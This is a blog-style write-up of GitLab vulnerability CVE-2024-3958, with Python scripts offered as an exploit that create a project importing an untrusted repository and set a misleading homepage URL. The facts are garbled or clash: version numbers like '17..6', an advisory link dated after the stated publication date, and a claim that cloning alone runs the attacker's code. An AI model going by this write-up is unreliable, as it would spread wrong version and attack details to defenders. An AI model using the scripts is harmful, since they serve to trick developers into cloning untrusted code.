A recently discovered issue in GitLab Community Edition (CE) and Enterprise Edition (EE) is causing quite a stir within the software development community. This security vulnerability, known as CVE-2024-3958, allows a malicious actor to exploit a discrepancy between the Web application display and the git command-line interface (CLI) in GitLab instances. This could result in victims unknowingly cloning non-trusted code and exposing their systems to further exploits.

This post will provide a detailed analysis of the CVE-2024-3958 vulnerability, including an overview of the affected GitLab versions, code snippets to demonstrate the exploit, links to original references, and recommended mitigation strategies.

Affected GitLab Versions

The vulnerability affects all GitLab CE/EE versions before 17..6, all 17.1 versions prior to 17.1.4, and all 17.2 versions prior to 17.2.2.

Exploit Details

This vulnerability exists because GitLab's Web application display and the git CLI do not always show the same project URL, leading to a discrepancy that can be exploited by an attacker. By creating a specially-crafted URL that looks like a GitLab project URL but points to a non-trusted repository, an attacker can trick the victim into cloning malicious code.

Here's an example of how this exploit can be executed

1. The attacker creates a new GitLab project and sets the repository URL field to a non-trusted external repository containing the malicious code:

import requests

# Replace with your GitLab instance URL and personal access token
gitlab_url = "https://your-gitlab-instance.com";
token = "your-personal-access-token"

headers = {
    "Private-Token": token
}

project_data = {
    "name": "my-malicious-project",
    "import_url": "https://non-trusted-repository.com/malicious-repo.git";
}

response = requests.post(f"{gitlab_url}/api/v4/projects", json=project_data, headers=headers)
print(response.json())

2. The attacker then modifies the project's homepage setting to display a familiar-looking URL, such as https://trusted-gitlab-instance.com/my-malicious-project.git. This can be done manually through GitLab's Web interface or programmatically:

project_id = response.json()["id"]

change_homepage_data = {
    "homepage": "https://trusted-gitlab-instance.com/my-malicious-project.git"
}

response = requests.put(f"{gitlab_url}/api/v4/projects/{project_id}", json=change_homepage_data, headers=headers)
print(response.json())

3. When the victim visits the attacker's project page in GitLab, they will see the manipulated, deceptively familiar URL as the git repository URL.

4. The victim follows the displayed URL and unintentionally clones the attacker's non-trusted code, executing it on their local machine.

5. The attacker gains unauthorized access to the victim's system and potentially the victim's GitLab instance.

For further details on this issue, please refer to the original references

- GitLab Security Advisory: https://about.gitlab.com/releases/2024/08/23/critical-security-release-gitlab-17-3-2-released/
- CVE-2024-3958 details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-3958

To protect yourself from this vulnerability, you should

1. Upgrade your GitLab CE/EE instance to the latest version immediately, as the security issue has been fixed in 17..6, 17.1.4, and 17.2.2 onwards.

2. Always verify a project's URL before cloning, especially if it comes from an unknown source or appears suspicious.

3. Do not execute untrusted code on your system, and consider using sandbox environments or virtual machines for testing unknown repositories.

4. Ensure your GitLab instance is regularly updated and that you follow best practices for managing access control and user permissions.

5. Educate other developers and team members on this vulnerability, and encourage vigilance when working with unfamiliar repositories or git projects.

Conclusion

The CVE-2024-3958 vulnerability in GitLab CE/EE presents a significant risk to users who may unknowingly clone and execute non-trusted code on their systems. By staying informed, verifying repository URLs before cloning, and maintaining a secure GitLab instance, you can help protect your projects and your team from falling victim to this exploit.

Timeline

Published on: 08/08/2024 11:15:12 UTC
Last modified on: 08/08/2024 13:04:18 UTC